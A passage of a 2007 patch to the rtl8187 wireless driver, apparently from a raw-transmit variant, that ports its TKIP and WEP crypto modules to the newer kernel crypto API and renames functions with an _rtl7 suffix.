crypto_blkcipher *rx_tfm_arc4; + struct crypto_blkcipher *tx_tfm_arc4; + struct crypto_hash *rx_tfm_michael; + struct crypto_hash *tx_tfm_michael; +#endif /* scratch buffers for virt_to_page() (crypto API) */ u8 rx_hdr[16], tx_hdr[16]; }; -static void * ieee80211_tkip_init(int key_idx) +static void * ieee80211_tkip_init_rtl7(int key_idx) { struct ieee80211_tkip_data *priv; @@ -72,28 +89,74 @@ memset(priv, 0, sizeof(*priv)); priv->key_idx = key_idx; +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19) priv->tfm_arc4 = crypto_alloc_tfm("arc4", 0); if (priv->tfm_arc4 == NULL) { printk(KERN_DEBUG "ieee80211_crypt_tkip: could not allocate " "crypto API arc4\n"); goto fail; } - priv->tfm_michael = crypto_alloc_tfm("michael_mic", 0); if (priv->tfm_michael == NULL) { printk(KERN_DEBUG "ieee80211_crypt_tkip: could not allocate " "crypto API michael_mic\n"); goto fail; } +#else + priv->tx_tfm_arc4 = crypto_alloc_blkcipher("ecb(arc4)", 0, CRYPTO_ALG_ASYNC); + if (IS_ERR(priv->tx_tfm_arc4)) { + printk(KERN_DEBUG "ieee80211_crypt_wep: could not allocate " + "crypto API arc4\n"); + priv->tx_tfm_arc4 = NULL; + goto fail; + } + + priv->tx_tfm_michael = crypto_alloc_hash("michael_mic", 0, + CRYPTO_ALG_ASYNC); + if (IS_ERR(priv->tx_tfm_michael)) { + printk(KERN_DEBUG "ieee80211_crypt_tkip: could not allocate " + "crypto API michael_mic\n"); + priv->tx_tfm_michael = NULL; + goto fail; + } + + priv->rx_tfm_arc4 = crypto_alloc_blkcipher("ecb(arc4)", 0, CRYPTO_ALG_ASYNC); + if (IS_ERR(priv->rx_tfm_arc4)) { + printk(KERN_DEBUG "ieee80211_crypt_wep: could not allocate " + "crypto API arc4\n"); + priv->rx_tfm_arc4 = NULL; + goto fail; + } + + priv->rx_tfm_michael = crypto_alloc_hash("michael_mic", 0, + CRYPTO_ALG_ASYNC); + if (IS_ERR(priv->rx_tfm_michael)) { + printk(KERN_DEBUG "ieee80211_crypt_tkip: could not allocate " + "crypto API michael_mic\n"); + priv->rx_tfm_michael = NULL; + goto fail; + } +#endif return priv; fail: if (priv) { +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19) if (priv->tfm_michael) crypto_free_tfm(priv->tfm_michael); if (priv->tfm_arc4) crypto_free_tfm(priv->tfm_arc4); +#else + if (priv->tx_tfm_michael) + crypto_free_hash(priv->tx_tfm_michael); + if (priv->tx_tfm_arc4) + crypto_free_blkcipher(priv->tx_tfm_arc4); + if (priv->rx_tfm_michael) + crypto_free_hash(priv->rx_tfm_michael); + if (priv->rx_tfm_arc4) + crypto_free_blkcipher(priv->rx_tfm_arc4); +#endif kfree(priv); } @@ -101,13 +164,26 @@ } -static void ieee80211_tkip_deinit(void *priv) +static void ieee80211_tkip_deinit_rtl7(void *priv) { struct ieee80211_tkip_data *_priv = priv; +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19) if (_priv && _priv->tfm_michael) crypto_free_tfm(_priv->tfm_michael); if (_priv && _priv->tfm_arc4) crypto_free_tfm(_priv->tfm_arc4); +#else + if (_priv) { + if (_priv->tx_tfm_michael) + crypto_free_hash(_priv->tx_tfm_michael); + if (_priv->tx_tfm_arc4) + crypto_free_blkcipher(_priv->tx_tfm_arc4); + if (_priv->rx_tfm_michael) + crypto_free_hash(_priv->rx_tfm_michael); + if (_priv->rx_tfm_arc4) + crypto_free_blkcipher(_priv->rx_tfm_arc4); + } +#endif kfree(priv); } @@ -200,7 +276,7 @@ #define PHASE1_LOOP_COUNT 8 -static void tkip_mixing_phase1(u16 *TTAK, const u8 *TK, const u8 *TA, u32 IV32) +static void tkip_mixing_phase1_rtl7(u16 *TTAK, const u8 *TK, const u8 *TA, u32 IV32) { int i, j; @@ -222,7 +298,7 @@ } -static void tkip_mixing_phase2(u8 *WEPSeed, const u8 *TK, const u16 *TTAK, +static void tkip_mixing_phase2_rtl7(u8 *WEPSeed, const u8 *TK, const u16 *TTAK, u16 IV16) { /* Make temporary area overlap WEP seed so that the final copy can be @@ -268,7 +344,7 @@ #endif } -static int ieee80211_tkip_encrypt(struct sk_buff *skb, int hdr_len, void *priv) +static int ieee80211_tkip_encrypt_rtl7(struct sk_buff *skb, int hdr_len, void *priv) { struct ieee80211_tkip_data *tkey = priv; int len; @@ -276,6 +352,9 @@ struct ieee80211_hdr *hdr; u32 crc; struct scatterlist sg; +#if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,19)) + struct blkcipher_desc desc = { .tfm = tkey->tx_tfm_arc4 }; +#endif if (skb_headroom(skb) < 8 || skb_tailroom(skb) < 4 || skb->len < hdr_len) @@ -283,11 +362,11 @@ hdr = (struct ieee80211_hdr *) skb->data; if (!tkey->tx_phase1_done) { - tkip_mixing_phase1(tkey->tx_ttak, tkey->key, hdr->addr2, + tkip_mixing_phase1_rtl7(tkey->tx_ttak, tkey->key, hdr->addr2, tkey->tx_iv32); tkey->tx_phase1_done = 1; } - tkip_mixing_phase2(rc4key, tkey->key, tkey->tx_ttak, tkey->tx_iv16); + tkip_mixing_phase2_rtl7(rc4key, tkey->key, tkey->tx_ttak, tkey->tx_iv16); len = skb->len - hdr_len; pos = skb_push(skb, 8); @@ -310,11 +389,19 @@ icv[2] = crc >> 16; icv[3] = crc >> 24; +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) crypto_cipher_setkey(tkey->tfm_arc4, rc4key, 16); +#else + crypto_blkcipher_setkey(tkey->tx_tfm_arc4, rc4key, 16); +#endif sg.page = virt_to_page(pos); sg.offset = offset_in_page(pos); sg.length = len + 4; +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) crypto_cipher_encrypt(tkey->tfm_arc4, &sg, &sg, len + 4); +#else + crypto_blkcipher_encrypt(&desc, &sg, &sg, len + 4); +#endif tkey->tx_iv16++; if (tkey->tx_iv16 == 0) { @@ -325,7 +412,7 @@ return 0; } -static int ieee80211_tkip_decrypt(struct sk_buff *skb, int hdr_len, void *priv) +static int ieee80211_tkip_decrypt_rtl7(struct sk_buff *skb, int hdr_len, void *priv) { struct ieee80211_tkip_data *tkey = priv; u8 rc4key[16]; @@ -337,6 +424,9 @@ u32 crc; struct scatterlist sg; int plen; +#if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,19)) + struct blkcipher_desc desc = { .tfm = tkey->rx_tfm_arc4 }; +#endif if (skb->len < hdr_len + 8 + 4) return -1; @@ -382,18 +472,26 @@ } if (iv32 != tkey->rx_iv32 || !tkey->rx_phase1_done) { - tkip_mixing_phase1(tkey->rx_ttak, tkey->key, hdr->addr2, iv32); + tkip_mixing_phase1_rtl7(tkey->rx_ttak, tkey->key, hdr->addr2, iv32); tkey->rx_phase1_done = 1; } - tkip_mixing_phase2(rc4key, tkey->key, tkey->rx_ttak, iv16); + tkip_mixing_phase2_rtl7(rc4key, tkey->key, tkey->rx_ttak, iv16); plen = skb->len - hdr_len - 12; +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) crypto_cipher_setkey(tkey->tfm_arc4, rc4key, 16); +#else + crypto_blkcipher_setkey(tkey->rx_tfm_arc4, rc4key, 16); +#endif sg.page = virt_to_page(pos); sg.offset = offset_in_page(pos); sg.length = plen + 4; +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) crypto_cipher_decrypt(tkey->tfm_arc4, &sg, &sg, plen + 4); +#else + crypto_blkcipher_decrypt(&desc, &sg, &sg, plen + 4); +#endif crc = ~crc32_le(~0, pos, plen); icv[0] = crc; @@ -427,13 +525,22 @@ return keyidx; } - -static int michael_mic(struct ieee80211_tkip_data *tkey, u8 *key, u8 *hdr, +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19) +static int michael_mic_rtl7(struct ieee80211_tkip_data *tkey, u8 *key, u8 *hdr, u8 *data, size_t data_len, u8 *mic) { struct scatterlist sg[2]; if (tkey->tfm_michael == NULL) { +#else +static int michael_mic_rtl7(struct crypto_hash *tfm_michael, u8 *key, u8 *hdr, + u8 *data, size_t data_len, u8 *mic) +{ + struct hash_desc desc; + struct scatterlist sg[2]; + + if (tfm_michael == NULL) { +#endif printk(KERN_WARNING "michael_mic: tfm_michael == NULL\n"); return -1; } @@ -445,15 +552,24 @@ sg[1].offset = offset_in_page(data); sg[1].length = data_len; +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19) crypto_digest_init(tkey->tfm_michael); crypto_digest_setkey(tkey->tfm_michael, key, 8); crypto_digest_update(tkey->tfm_michael, sg, 2); crypto_digest_final(tkey->tfm_michael, mic); return 0; +#else + if (crypto_hash_setkey(tfm_michael, key, 8)) + return -1; + + desc.tfm = tfm_michael; + desc.flags = 0; + return crypto_hash_digest(&desc, sg, data_len + 16, mic); +#endif } -static void michael_mic_hdr(struct sk_buff *skb, u8 *hdr) +static void michael_mic_hdr_rtl7(struct sk_buff *skb, u8 *hdr) { struct ieee80211_hdr *hdr11; @@ -483,7 +599,7 @@ } -static int ieee80211_michael_mic_add(struct sk_buff *skb, int hdr_len, void *priv) +static int ieee80211_michael_mic_add_rtl7(struct sk_buff *skb, int hdr_len, void *priv) { struct ieee80211_tkip_data *tkey = priv; u8 *pos; @@ -495,18 +611,24 @@ return -1; } - michael_mic_hdr(skb, tkey->tx_hdr); + michael_mic_hdr_rtl7(skb, tkey->tx_hdr); pos = skb_put(skb, 8); - if (michael_mic(tkey, &tkey->key[16], tkey->tx_hdr, +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19) + if (michael_mic_rtl7(tkey, &tkey->key[16], tkey->tx_hdr, skb->data + hdr_len, skb->len - 8 - hdr_len, pos)) return -1; +#else + if (michael_mic_rtl7(tkey->tx_tfm_michael, &tkey->key[16], tkey->tx_hdr, + skb->data + hdr_len, skb->len - 8 - hdr_len, pos)) + return -1; +#endif return 0; } #if WIRELESS_EXT >= 18 -static void ieee80211_michael_mic_failure(struct net_device *dev, +static void ieee80211_michael_mic_failure_rtl7(struct net_device *dev, struct ieee80211_hdr *hdr, int keyidx) { @@ -527,7 +649,7 @@ wireless_send_event(dev, IWEVMICHAELMICFAILURE, &wrqu, (char *) &ev); } #elif WIRELESS_EXT >= 15 -static void ieee80211_michael_mic_failure(struct net_device *dev, +static void ieee80211_michael_mic_failure_rtl7(struct net_device *dev, struct ieee80211_hdr *hdr, int keyidx) { @@ -543,7 +665,7 @@ wireless_send_event(dev, IWEVCUSTOM, &wrqu, buf); } #else /* WIRELESS_EXT >= 15 */ -static inline void ieee80211_michael_mic_failure(struct net_device *dev, +static inline void ieee80211_michael_mic_failure_rtl7(struct net_device *dev, struct ieee80211_hdr *hdr, int keyidx) { @@ -551,7 +673,7 @@ #endif /* WIRELESS_EXT >= 15 */ -static int ieee80211_michael_mic_verify(struct sk_buff *skb, int keyidx, +static int ieee80211_michael_mic_verify_rtl7(struct sk_buff *skb, int keyidx, int hdr_len, void *priv) { struct ieee80211_tkip_data *tkey = priv; @@ -560,10 +682,16 @@ if (!tkey->key_set) return -1; - michael_mic_hdr(skb, tkey->rx_hdr); - if (michael_mic(tkey, &tkey->key[24], tkey->rx_hdr, + michael_mic_hdr_rtl7(skb, tkey->rx_hdr); +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19) + if (michael_mic_rtl7(tkey, &tkey->key[24], tkey->rx_hdr, skb->data + hdr_len, skb->len - 8 - hdr_len, mic)) return -1; +#else + if (michael_mic_rtl7(tkey->rx_tfm_michael, &tkey->key[24], tkey->rx_hdr, + skb->data + hdr_len, skb->len - 8 - hdr_len, mic)) + return -1; +#endif if (memcmp(mic, skb->data + skb->len - 8, 8) != 0) { struct ieee80211_hdr *hdr; hdr = (struct ieee80211_hdr *) skb->data; @@ -572,7 +700,7 @@ skb->dev ? skb->dev->name : "N/A", MAC_ARG(hdr->addr2), keyidx); if (skb->dev) - ieee80211_michael_mic_failure(skb->dev, hdr, keyidx); + ieee80211_michael_mic_failure_rtl7(skb->dev, hdr, keyidx); tkey->dot11RSNAStatsTKIPLocalMICFailures++; return -1; } @@ -588,18 +716,33 @@ } -static int ieee80211_tkip_set_key(void *key, int len, u8 *seq, void *priv) +static int ieee80211_tkip_set_key_rtl7(void *key, int len, u8 *seq, void *priv) { struct ieee80211_tkip_data *tkey = priv; int keyidx; +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) struct crypto_tfm *tfm = tkey->tfm_michael; struct crypto_tfm *tfm2 = tkey->tfm_arc4; +#else + struct crypto_hash *tfm = tkey->tx_tfm_michael; + struct crypto_blkcipher *tfm2 = tkey->tx_tfm_arc4; + struct crypto_hash *tfm3 = tkey->rx_tfm_michael; + struct crypto_blkcipher *tfm4 = tkey->rx_tfm_arc4; +#endif keyidx = tkey->key_idx; memset(tkey, 0, sizeof(*tkey)); tkey->key_idx = keyidx; +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) tkey->tfm_michael = tfm; tkey->tfm_arc4 = tfm2; +#else + tkey->tx_tfm_michael = tfm; + tkey->tx_tfm_arc4 = tfm2; + tkey->rx_tfm_michael = tfm3; + tkey->rx_tfm_arc4 = tfm4; +#endif + if (len == TKIP_KEY_LEN) { memcpy(tkey->key, key, TKIP_KEY_LEN); tkey->key_set = 1; @@ -618,7 +761,7 @@ } -static int ieee80211_tkip_get_key(void *key, int len, u8 *seq, void *priv) +static int ieee80211_tkip_get_key_rtl7(void *key, int len, u8 *seq, void *priv) { struct ieee80211_tkip_data *tkey = priv; @@ -648,7 +791,7 @@ } -static char * ieee80211_tkip_print_stats(char *p, void *priv) +static char * ieee80211_tkip_print_stats_rtl7(char *p, void *priv) { struct ieee80211_tkip_data *tkip = priv; p += sprintf(p, "key[%d] alg=TKIP key_set=%d " @@ -675,34 +818,34 @@ } -static struct ieee80211_crypto_ops ieee80211_crypt_tkip = { +static struct ieee80211_crypto_ops ieee80211_crypt_tkip_rtl7 = { .name = "TKIP", - .init = ieee80211_tkip_init, - .deinit = ieee80211_tkip_deinit, - .encrypt_mpdu = ieee80211_tkip_encrypt, - .decrypt_mpdu = ieee80211_tkip_decrypt, - .encrypt_msdu = ieee80211_michael_mic_add, - .decrypt_msdu = ieee80211_michael_mic_verify, - .set_key = ieee80211_tkip_set_key, - .get_key = ieee80211_tkip_get_key, - .print_stats = ieee80211_tkip_print_stats, + .init = ieee80211_tkip_init_rtl7, + .deinit = ieee80211_tkip_deinit_rtl7, + .encrypt_mpdu = ieee80211_tkip_encrypt_rtl7, + .decrypt_mpdu = ieee80211_tkip_decrypt_rtl7, + .encrypt_msdu = ieee80211_michael_mic_add_rtl7, + .decrypt_msdu = ieee80211_michael_mic_verify_rtl7, + .set_key = ieee80211_tkip_set_key_rtl7, + .get_key = ieee80211_tkip_get_key_rtl7, + .print_stats = ieee80211_tkip_print_stats_rtl7, .extra_prefix_len = 4 + 4, /* IV + ExtIV */ .extra_postfix_len = 8 + 4, /* MIC + ICV */ .owner = THIS_MODULE, }; -static int __init ieee80211_crypto_tkip_init(void) +static int __init ieee80211_crypto_tkip_init_rtl7(void) { - return ieee80211_register_crypto_ops(&ieee80211_crypt_tkip); + return ieee80211_register_crypto_ops_rtl7(&ieee80211_crypt_tkip_rtl7); } -static void __exit ieee80211_crypto_tkip_exit(void) +static void __exit ieee80211_crypto_tkip_exit_rtl7(void) { - ieee80211_unregister_crypto_ops(&ieee80211_crypt_tkip); + ieee80211_unregister_crypto_ops_rtl7(&ieee80211_crypt_tkip_rtl7); } -module_init(ieee80211_crypto_tkip_init); -module_exit(ieee80211_crypto_tkip_exit); +module_init(ieee80211_crypto_tkip_init_rtl7); +module_exit(ieee80211_crypto_tkip_exit_rtl7); diff -Naur rtl8187_orig/ieee80211/ieee80211_crypt_wep.c rtl8187_rawtx/ieee80211/ieee80211_crypt_wep.c --- rtl8187_orig/ieee80211/ieee80211_crypt_wep.c 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/ieee80211/ieee80211_crypt_wep.c 2007-06-08 23:30:47.000000000 +0200 @@ -9,7 +9,6 @@ * more details. */ -#include #include #include #include @@ -18,13 +17,24 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#else +#include +#endif + #include "ieee80211.h" #include -#include #include +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,20) + #include +#else + #include +#endif + MODULE_AUTHOR("Jouni Malinen"); MODULE_DESCRIPTION("Host AP crypt: WEP"); MODULE_LICENSE("GPL"); @@ -36,11 +46,16 @@ u8 key[WEP_KEY_LEN + 1]; u8 key_len; u8 key_idx; +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19) struct crypto_tfm *tfm; +#else + struct crypto_blkcipher *rx_tfm; + struct crypto_blkcipher *tx_tfm; +#endif }; -static void * prism2_wep_init(int keyidx) +static void * prism2_wep_init_rtl7(int keyidx) { struct prism2_wep_data *priv; @@ -50,13 +65,30 @@ memset(priv, 0, sizeof(*priv)); priv->key_idx = keyidx; +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19) priv->tfm = crypto_alloc_tfm("arc4", 0); if (priv->tfm == NULL) { printk(KERN_DEBUG "ieee80211_crypt_wep: could not allocate " "crypto API arc4\n"); goto fail; } +#else + priv->tx_tfm = crypto_alloc_blkcipher("ecb(arc4)", 0, CRYPTO_ALG_ASYNC); + if (IS_ERR(priv->tx_tfm)) { + printk(KERN_DEBUG "ieee80211_crypt_wep: could not allocate " + "crypto API arc4\n"); + priv->tx_tfm = NULL; + goto fail; + } + priv->rx_tfm = crypto_alloc_blkcipher("ecb(arc4)", 0, CRYPTO_ALG_ASYNC); + if (IS_ERR(priv->rx_tfm)) { + printk(KERN_DEBUG "ieee80211_crypt_wep: could not allocate " + "crypto API arc4\n"); + priv->rx_tfm = NULL; + goto fail; + } +#endif /* start WEP IV from a random value */ get_random_bytes(&priv->iv, 4); @@ -64,19 +96,35 @@ fail: if (priv) { +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19) if (priv->tfm) crypto_free_tfm(priv->tfm); +#else + if (priv->tx_tfm) + crypto_free_blkcipher(priv->tx_tfm); + if (priv->rx_tfm) + crypto_free_blkcipher(priv->rx_tfm); +#endif kfree(priv); } return NULL; } -static void prism2_wep_deinit(void *priv) +static void prism2_wep_deinit_rtl7(void *priv) { struct prism2_wep_data *_priv = priv; +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19) if (_priv && _priv->tfm) crypto_free_tfm(_priv->tfm); +#else + if (_priv) { + if (_priv->tx_tfm) + crypto_free_blkcipher(_priv->tx_tfm); + if (_priv->rx_tfm) + crypto_free_blkcipher(_priv->rx_tfm); + } +#endif kfree(priv); } @@ -87,13 +135,16 @@ * * WEP frame payload: IV + TX key idx, RC4(data), ICV = RC4(CRC32(data)) */ -static int prism2_wep_encrypt(struct sk_buff *skb, int hdr_len, void *priv) +static int prism2_wep_encrypt_rtl7(struct sk_buff *skb, int hdr_len, void *priv) { struct prism2_wep_data *wep = priv; u32 crc, klen, len; u8 key[WEP_KEY_LEN + 3]; u8 *pos, *icv; struct scatterlist sg; +#if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,19)) + struct blkcipher_desc desc = { .tfm = wep->tx_tfm }; +#endif if (skb_headroom(skb) < 4 || skb_tailroom(skb) < 4 || skb->len < hdr_len) @@ -134,13 +185,21 @@ icv[2] = crc >> 16; icv[3] = crc >> 24; +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) crypto_cipher_setkey(wep->tfm, key, klen); +#else + crypto_blkcipher_setkey(wep->tx_tfm, key, klen); +#endif sg.page = virt_to_page(pos); sg.offset = offset_in_page(pos); sg.length = len + 4; - crypto_cipher_encrypt(wep->tfm, &sg, &sg, len + 4); +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) + crypto_cipher_encrypt(wep->tfm, &sg, &sg, len + 4); return 0; +#else + return crypto_blkcipher_encrypt(&desc, &sg, &sg, len + 4); +#endif } @@ -151,13 +210,16 @@ * Returns 0 if frame was decrypted successfully and ICV was correct and -1 on * failure. If frame is OK, IV and ICV will be removed. */ -static int prism2_wep_decrypt(struct sk_buff *skb, int hdr_len, void *priv) +static int prism2_wep_decrypt_rtl7(struct sk_buff *skb, int hdr_len, void *priv) { struct prism2_wep_data *wep = priv; u32 crc, klen, plen; u8 key[WEP_KEY_LEN + 3]; u8 keyidx, *pos, icv[4]; struct scatterlist sg; +#if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,19)) + struct blkcipher_desc desc = { .tfm = wep->rx_tfm }; +#endif if (skb->len < hdr_len + 8) return -1; @@ -178,11 +240,22 @@ /* Apply RC4 to data and compute CRC32 over decrypted data */ plen = skb->len - hdr_len - 8; +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) crypto_cipher_setkey(wep->tfm, key, klen); +#else + crypto_blkcipher_setkey(wep->rx_tfm, key, klen); +#endif + sg.page = virt_to_page(pos); sg.offset = offset_in_page(pos); sg.length = plen + 4; + +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) crypto_cipher_decrypt(wep->tfm, &sg, &sg, plen + 4); +#else + if(crypto_blkcipher_decrypt(&desc, &sg, &sg, plen + 4)) + return -7; +#endif crc = ~crc32_le(~0, pos, plen); icv[0] = crc; @@ -203,7 +276,7 @@ } -static int prism2_wep_set_key(void *key, int len, u8 *seq, void *priv) +static int prism2_wep_set_key_rtl7(void *key, int len, u8 *seq, void *priv) { struct prism2_wep_data *wep = priv; @@ -217,7 +290,7 @@ } -static int prism2_wep_get_key(void *key, int len, u8 *seq, void *priv) +static int prism2_wep_get_key_rtl7(void *key, int len, u8 *seq, void *priv) { struct prism2_wep_data *wep = priv; @@ -230,7 +303,7 @@ } -static char * prism2_wep_print_stats(char *p, void *priv) +static char * prism2_wep_print_stats_rtl7(char *p, void *priv) { struct prism2_wep_data *wep = priv; p += sprintf(p, "key[%d] alg=WEP len=%d\n", @@ -239,34 +312,34 @@ } -static struct ieee80211_crypto_ops ieee80211_crypt_wep = { +static struct ieee80211_crypto_ops ieee80211_crypt_wep_rtl7 = { .name = "WEP", - .init = prism2_wep_init, - .deinit = prism2_wep_deinit, - .encrypt_mpdu = prism2_wep_encrypt, - .decrypt_mpdu = prism2_wep_decrypt, + .init = prism2_wep_init_rtl7, + .deinit = prism2_wep_deinit_rtl7, + .encrypt_mpdu = prism2_wep_encrypt_rtl7, + .decrypt_mpdu = prism2_wep_decrypt_rtl7, .encrypt_msdu = NULL, .decrypt_msdu = NULL, - .set_key = prism2_wep_set_key, - .get_key = prism2_wep_get_key, - .print_stats = prism2_wep_print_stats, + .set_key = prism2_wep_set_key_rtl7, + .get_key = prism2_wep_get_key_rtl7, + .print_stats = prism2_wep_print_stats_rtl7, .extra_prefix_len = 4, /* IV */ .extra_postfix_len = 4, /* ICV */ .owner = THIS_MODULE, }; -static int __init ieee80211_crypto_wep_init(void) +static int __init ieee80211_crypto_wep_init_rtl7(void) { - return ieee80211_register_crypto_ops(&ieee80211_crypt_wep); + return ieee80211_register_crypto_ops_rtl7(&ieee80211_crypt_wep_rtl7); } -static void __exit ieee80211_crypto_wep_exit(void) +static void __exit ieee80211_crypto_wep_exit_rtl7(void) { - ieee80211_unregister_crypto_ops(&ieee80211_crypt_wep); + ieee80211_unregister_crypto_ops_rtl7(&ieee80211_crypt_wep_rtl7); } -module_init(ieee80211_crypto_wep_init); -module_exit(ieee80211_crypto_wep_exit); +module_init(ieee80211_crypto_wep_init_rtl7); +module_exit(ieee80211_crypto_wep_exit_rtl7); diff -Naur rtl8187_orig/ieee80211/ieee80211.h rtl8187_rawtx/ieee80211/ieee80211.h --- rtl8187_orig/ieee80211/ieee80211.h 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/ieee80211/ieee80211.h 2007-06-08 23:30:44.000000000 +0200 @@ -156,6 +156,22 @@ struct list_head list; }; +#define LWNG_CAP_DID_BASE (4 | (1 << 6)) /* section 4, group 1 */ +/* ARPHRD_IEEE80211_PRISM uses a bloated version of Prism2 RX frame header + * (from linux-wlan-ng) */ +struct linux_wlan_ng_val { + u32 did; + u16 status, len; + u32 data; +} __attribute__ ((packed)); + +struct linux_wlan_ng_prism_hdr { + u32 msgcode, msglen; + char devname[16]; + struct linux_wlan_ng_val hosttime, mactime, channel, rssi, sq, signal, + noise, rate, istx, frmlen; +} __attribute__ ((packed)); + struct ieee80211_hdr { u16 frame_ctl; u16 duration_id; @@ -840,14 +856,14 @@ #if (LINUX_VERSION_CODE <= KERNEL_VERSION(2,6,11)) -extern inline int is_multicast_ether_addr(const u8 *addr) +extern inline int is_multicast_ether_addr_rtl7(const u8 *addr) { return ((addr[0] != 0xff) && (0x01 & addr[0])); } #endif #if (LINUX_VERSION_CODE <= KERNEL_VERSION(2,6,13)) -extern inline int is_broadcast_ether_addr(const u8 *addr) +extern inline int is_broadcast_ether_addr_rtl7(const u8 *addr) { return ((addr[0] == 0xff) && (addr[1] == 0xff) && (addr[2] == 0xff) && \ (addr[3] == 0xff) && (addr[4] == 0xff) && (addr[5] == 0xff)); @@ -1015,10 +1031,16 @@ struct timer_list beacon_timer; struct work_struct associate_complete_wq; + +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) + struct delayed_work associate_retry_wq; + struct delayed_work softmac_scan_wq; +#else struct work_struct associate_retry_wq; + struct work_struct softmac_scan_wq; +#endif struct work_struct start_ibss_wq; struct work_struct associate_procedure_wq; - struct work_struct softmac_scan_wq; struct work_struct wx_sync_scan_wq; struct workqueue_struct *wq; @@ -1154,12 +1176,12 @@ -extern inline void *ieee80211_priv(struct net_device *dev) +extern inline void *ieee80211_priv_rtl7(struct net_device *dev) { return ((struct ieee80211_device *)netdev_priv(dev))->priv; } -extern inline int ieee80211_is_empty_essid(const char *essid, int essid_len) +extern inline int ieee80211_is_empty_essid_rtl7(const char *essid, int essid_len) { /* Single white space is for Linksys APs */ if (essid_len == 1 && essid[0] == ' ') @@ -1175,7 +1197,7 @@ return 1; } -extern inline int ieee80211_is_valid_mode(struct ieee80211_device *ieee, int mode) +extern inline int ieee80211_is_valid_mode_rtl7(struct ieee80211_device *ieee, int mode) { /* * It is possible for both access points and our device to support @@ -1201,7 +1223,7 @@ return 0; } -extern inline int ieee80211_get_hdrlen(u16 fc) +extern inline int ieee80211_get_hdrlen_rtl7(u16 fc) { int hdrlen = 24; @@ -1229,140 +1251,144 @@ /* ieee80211.c */ -extern void free_ieee80211(struct net_device *dev); -extern struct net_device *alloc_ieee80211(int sizeof_priv); +extern void free_ieee80211_rtl7(struct net_device *dev); +extern struct net_device *alloc_ieee80211_rtl7(int sizeof_priv); -extern int ieee80211_set_encryption(struct ieee80211_device *ieee); +extern int ieee80211_set_encryption_rtl7(struct ieee80211_device *ieee); /* ieee80211_tx.c */ -extern int ieee80211_encrypt_fragment( +extern int ieee80211_encrypt_fragment_rtl7( struct ieee80211_device *ieee, struct sk_buff *frag, int hdr_len); -extern int ieee80211_xmit(struct sk_buff *skb, +extern int ieee80211_xmit_rtl7(struct sk_buff *skb, struct net_device *dev); -extern void ieee80211_txb_free(struct ieee80211_txb *); +extern void ieee80211_txb_free_rtl7(struct ieee80211_txb *); /* ieee80211_rx.c */ -extern int ieee80211_rx(struct ieee80211_device *ieee, struct sk_buff *skb, +extern int ieee80211_rx_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, struct ieee80211_rx_stats *rx_stats); -extern void ieee80211_rx_mgt(struct ieee80211_device *ieee, +extern void ieee80211_rx_mgt_rtl7(struct ieee80211_device *ieee, struct ieee80211_hdr *header, struct ieee80211_rx_stats *stats); /* ieee80211_wx.c */ -extern int ieee80211_wx_get_scan(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_scan_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *key); -extern int ieee80211_wx_set_encode(struct ieee80211_device *ieee, +extern int ieee80211_wx_set_encode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *key); -extern int ieee80211_wx_get_encode(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_encode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *key); /* ieee80211_softmac.c */ -extern short ieee80211_is_54g(struct ieee80211_network net); -extern short ieee80211_is_shortslot(struct ieee80211_network net); -extern int ieee80211_rx_frame_softmac(struct ieee80211_device *ieee, struct sk_buff *skb, +extern short ieee80211_is_54g_rtl7(struct ieee80211_network net); +extern short ieee80211_is_shortslot_rtl7(struct ieee80211_network net); +extern int ieee80211_rx_frame_softmac_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, struct ieee80211_rx_stats *rx_stats, u16 type, u16 stype); -extern void ieee80211_softmac_new_net(struct ieee80211_device *ieee, struct ieee80211_network *net); +extern void ieee80211_softmac_new_net_rtl7(struct ieee80211_device *ieee, struct ieee80211_network *net); -extern void ieee80211_softmac_xmit(struct ieee80211_txb *txb, struct ieee80211_device *ieee); -extern void ieee80211_softmac_check_all_nets(struct ieee80211_device *ieee); -extern void ieee80211_start_bss(struct ieee80211_device *ieee); -extern void ieee80211_start_master_bss(struct ieee80211_device *ieee); -extern void ieee80211_start_ibss(struct ieee80211_device *ieee); -extern void ieee80211_softmac_init(struct ieee80211_device *ieee); -extern void ieee80211_softmac_free(struct ieee80211_device *ieee); -extern void ieee80211_associate_abort(struct ieee80211_device *ieee); -extern void ieee80211_disassociate(struct ieee80211_device *ieee); -extern void ieee80211_stop_scan(struct ieee80211_device 